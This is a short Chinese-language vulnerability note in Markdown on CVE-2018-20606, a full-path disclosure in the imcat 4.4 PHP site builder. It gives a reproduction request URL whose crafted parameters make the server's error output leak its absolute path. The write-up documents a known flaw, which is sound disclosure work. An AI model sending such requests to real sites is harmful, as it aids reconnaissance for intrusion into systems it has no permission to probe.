_（CVE-2018-20606）Imcat 4.4 敏感信息泄露 .md

704 B / 2021-04-21 09:23:46

    （CVE-2018-20606）Imcat 4.4 敏感信息泄露
========================================

一、漏洞简介
------------

imcat是一套基于PHP的开源建站系统。 imcat
4.4版本中存在安全漏洞。攻击者可借助dev.php?tools-ipaddr&api=Pcoln&uip=
URI利用该漏洞泄露完整路径。

二、漏洞影响
------------

imcat 4.4

三、复现过程
------------

如果您尚未安装相关的插件，则可以访问`http://www.0-sec.org/dev.php?tools-ipaddr&api=Pcoln&uip=137.36.58.213`。错误获取绝对路径信息。

![](./resource/(CVE-2018-20606)Imcat4.4敏感信息泄露/media/rId24.png)

参考链接
--------

> <https://github.com/AvaterXXX/CVEs/blob/master/imcat.md>